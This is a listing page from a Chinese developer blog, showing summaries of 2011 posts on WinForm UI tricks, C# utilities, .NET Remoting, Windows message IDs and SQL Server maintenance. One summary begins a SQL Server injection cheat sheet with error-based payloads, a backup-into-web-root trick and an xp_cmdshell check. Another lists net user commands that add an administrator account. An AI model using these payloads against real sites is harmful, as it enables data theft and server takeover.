saptechnique

Better late than never. - 郭富

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理
上一页 1 ··· 5 6 7 8 9 10 11 12 13 ··· 22 下一页

2011年12月8日

摘要: http://download.csdn.net/tag/winform%EF%BC%8C%E7%AA%97%E4%BD%93%EF%BC%8CC%23%EF%BC%8C%E6%96%87%E4%BB%B6%E6%B5%81%EF%BC%8C%E8%AE%BE%E8%AE%A1 阅读全文
posted @ 2011-12-08 22:04 guofu 阅读(216) 评论(0) 推荐(0) 编辑

2011年11月16日

摘要: 有人可能会问,客户区延伸至非客户区到底有什么意义。有些程序在布局上比较紧凑或者希望更美观等,无关紧要的菜单项希望能放到标题栏等非客户区,Form窗体控件本身并没有提供此功能。在这之前,有把窗体FormBorderStyle设为None重新绘制标题栏。还有文章通过调用“User32.dll”中的GetWindowDC函数和ReleaseDC函数来实现在标题栏上添加控件,这种方式虽然完全能在非客户区绘制,但是弊端便是无法在vista和windows7下透明主题时显示非客户绘制的内容,因为在透明主题下Aero会把非客户区从GDI+剥离出来让DirectX进行渲染。 传统方式(网络收集):显示代码 . 阅读全文
posted @ 2011-11-16 15:49 guofu 阅读(332) 评论(0) 推荐(0) 编辑

摘要: 代码/// <summary> /// 替换全角字符为半角 /// </summary> /// <returns></returns> public static string ReplaceSBC2DBC(string input) { // 全角正则 string pattern = @"[\uFF00-\uFFFF]"; string result = Regex.Replace(input, pattern, new MatchEvaluator(delegate(Match match) { return ToDB 阅读全文
posted @ 2011-11-16 14:44 guofu 阅读(302) 评论(0) 推荐(0) 编辑

摘要: 注:感谢Aleax博友提出的Bug(见#7楼),现已纠正,纠正的内容会在要点里说明,修改过的源码已附上,也谢谢各位博友提出的意见和方法,当然方法有很多种,这只是其中一种非常简单和直接的方法,给初学者一点参考,望大家多多提意。效果图一 准备工作两张透明的png图片(尺寸73 x 81),一张用于鼠标进入控件时显示,一张用于鼠标单击控件时显示。 新建自定义控件,在构造函数中添加代码 public GlassButton() { SetStyle(ControlStyles.DoubleBuffer, true); /... 阅读全文
posted @ 2011-11-16 08:37 guofu 阅读(377) 评论(0) 推荐(0) 编辑

2011年10月29日

摘要: 本文参照论坛部分大师及网络文章,结合自身使用情况,以最详细、安全、客观的形式编写,全面的介绍这款手机,希望能给想换手机或未使用过安卓手机的朋友们一些帮助。我个人认为手机属于纯消费品,易丢失、损坏、淘汰,常换常新,所以选购手机需根据个人使用需要、经济条件、勿鉴于虚荣心、好奇心、购买欲等盲从购买。这次为大家推荐一款当下性价比最高,也是我个人现在使用的手机:三星I897(现价2600元左右)三星 I897 Captivate基本资料型号 i897 手机类型 智能手机,音乐手机,拍照手机,3G手机 上市时间 2010年手机制式 GSM,WCDMA 手机外形 直板 主屏尺寸 4英寸 主屏... 阅读全文
posted @ 2011-10-29 00:38 guofu 阅读(367) 评论(0) 推荐(0) 编辑

2011年10月20日

摘要: WinForm怎么在窗口标题栏上添加按钮?都是重写窗口过程(WndProc),处理一些非客户区消息(WM_NCxxxx),可以说本来没有什么新意,可是从写这个程序的过程中,我也学到了两个技巧: 1)、C#中重写窗口过程不用再调用SetWindowLong API了,直接overide一个WndProc就可以了。 2)、Windows API中的HDC可以通过Graphics.FromHdc()转换为(创建出)System.Drawing.Graphics,然后就可以用.NET Framework (GID+??)提供的绘图功能方便地进行画图了。终于可以抛开讨厌的GDI API了(说实在话,.. 阅读全文
posted @ 2011-10-20 10:45 guofu 阅读(724) 评论(0) 推荐(0) 编辑

2011年10月19日

摘要: 话说好久没有写了,呵呵,这几周太忙了,写好的新皮肤也没有整合完成,还得让大家再等两周,表示抱歉了,皮肤在使用中存在一些问题和解决方法请大家参才皮肤使用须知 (New) 一文章,有什么好的建议或是意见也希望大家提出来,希望能让更多的人参与的皮肤的设计和开发上。今天主要是看一下MainForm的实现而Main的实现与之相同,大家可以自己看一下源代码,或者我会在下次文章里提到一些,这个窗体是一个很重要的窗体,因为关于换肤的方法要在这里引用,使用皮肤的前提也是要使用这个窗体,所以是一个很重要的窗体,算是一个使用皮肤控件的基础吧;我们先看 一下它的布局吧大家应该能看的出来,左上角是一个 Panel是用. 阅读全文
posted @ 2011-10-19 13:29 guofu 阅读(492) 评论(0) 推荐(0) 编辑

2011年9月27日

摘要: Windows Message ID1.WM_NULL=0X 0000:2.WM_CREATE=0X 0001:应用程序创建一个窗口3.WM_DESTROY=0X 0002:一个窗口被销毁4.WM_MOVE=0X 0003:移动一个窗口5.WM_SIZE=0X 0005:改变一个窗口的大小6.WM_ACTIVATE=0X 0006:一个窗口被激活或失去激活状态;7.WM_SETFOCUS=0X 0007:获得焦点后8.WM_KILLFOCUS=0X 0008:失去焦点9.WM_ENABLE=0X 000A:改变enable状态10.WM_SETREDRAW=0X 000B:设置窗口是否能重画1 阅读全文
posted @ 2011-09-27 16:06 guofu 阅读(250) 评论(0) 推荐(0) 编辑

2011年9月2日

摘要: cmd 运行 command删除文件 rd 文件名/S创建文件 MD 文件名 1. net user admin godmour /add 新建一个用户名为 admin 密码为 godmour 默认为user组成员2. net user admin /del 将用户名为admin的用户删除3. net user admin /active:no 将用户admin禁用4. net user admin /active:yes 将用户admin激活5. net user admin 查看拥护admin用户的情况6. net localgroup administratros admin /add 阅读全文
posted @ 2011-09-02 11:50 guofu 阅读(230) 评论(0) 推荐(0) 编辑

2011年8月26日

摘要: 公元19XX年前,关于EXCEL的操作就如滔滔江水,连绵不绝,真正操作EXCEL我也是从去年下半年开始的,有些比较复杂的年度报表之类的,做起来也有点费力,不过还是都能画出来了,关于EXCEL的报表导出,考虑到导出耗时的问题我主要采用AJAX来做的,分别捕捉几个起止状态,给客户端提示3个状态:正在检索数据。。。---》准备导出数据。。。(只是从数据库成功取出,还没有读写excel文件)--》正在读写文件--》导出数据成功,当然如果哪一过程出错,都有对应的提示,只所以想到写这篇文章,主要是因为今年有个系统的部分EXCEL的操作也让我做,顺便结合之前操作EXCEL的经验作一下总结,可能也算不上什么, 阅读全文
posted @ 2011-08-26 00:20 guofu 阅读(506) 评论(1) 推荐(0) 编辑

2011年8月7日

摘要: Microsoft .Net Remoting系列专题之三:Remoting事件处理全接触我写的.Net Remoting系列专题:Microsoft .Net Remoting系列专题之一:.Net Remoting基础篇Microsoft .Net Remoting系列专题之二:Marshal、Disconnect与生命周期以及跟踪服务前言:在Remoting中处理事件其实并不复杂,但其中有些技巧需要你去挖掘出来。正是这些技巧,仿佛森严的壁垒,让许多人望而生畏,或者是不知所谓,最后放弃了事件在Remoting的使用。关于这个主题,在网上也有很多讨论,相关的技术文章也不少,遗憾的是,很多文章 阅读全文
posted @ 2011-08-07 22:38 guofu 阅读(165) 评论(0) 推荐(0) 编辑

摘要: Microsoft .Net Remoting系列专题之二:Marshal、Disconnect与生命周期以及跟踪服务我写的.Net Remoting系列专题:Microsoft .Net Remoting系列专题之一:.Net Remoting基础篇Microsoft .Net Remoting系列专题之三:Remoting事件处理全接触Microsoft .Net Remoting系列专题之二一、远程对象的激活在Remoting中有三种激活方式,一般的实现是通过RemotingServices类的静态方法来完成。工作过程事实上是将该远程对象注册到通道中。由于Remoting没有提供与之对应 阅读全文
posted @ 2011-08-07 22:35 guofu 阅读(174) 评论(0) 推荐(0) 编辑

摘要: Microsoft .Net Remoting系列专题之一:.Net Remoting基础篇我写的.Net Remoting系列专题:Microsoft .Net Remoting系列专题之二:Marshal、Disconnect与生命周期以及跟踪服务Microsoft .Net Remoting系列专题之三:Remoting事件处理全接触Microsoft .Net Remoting系列专题之一一、Remoting基础什么是Remoting,简而言之,我们可以将其看作是一种分布式处理方式。从微软的产品角度来看,可以说Remoting就是DCOM的一种升级,它改善了很多功能,并极好的融合到.N 阅读全文
posted @ 2011-08-07 22:32 guofu 阅读(168) 评论(0) 推荐(0) 编辑

2011年8月5日

摘要: --压缩日志及数据库文件大小/*--特别注意请按步骤进行,未进行前面的步骤,请不要做后面的步骤 否则可能损坏你的数据库. 一般不建议做第4,6两步 第4步不安全,有可能损坏数据库或丢失数据 第6步如果日志达到上限,则以后的数据库处理会失败,在清理日志后才能恢复. --*/--下面的所有库名都指你要处理的数据库的库名1.清空日志 DUMP TRANSACTION 库名 WITH NO_LOG2.截断事务日志: BACKUP LOG 库名 WITH NO_LOG3.收缩数据库文件(如果不压缩,数据库的文件不会减小 企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件 --选择日 阅读全文
posted @ 2011-08-05 14:22 guofu 阅读(198) 评论(0) 推荐(0) 编辑

2011年7月27日

摘要: 1、返回的是连接的数据库名and db_name()>02、作用是获取连接用户名and user>03、将数据库备份到Web目录下面;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判断xp_cmdshell扩展存储过程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X 阅读全文
posted @ 2011-07-27 09:32 guofu 阅读(228) 评论(0) 推荐(0) 编辑

上一页 1 ··· 5 6 7 8 9 10 11 12 13 ··· 22 下一页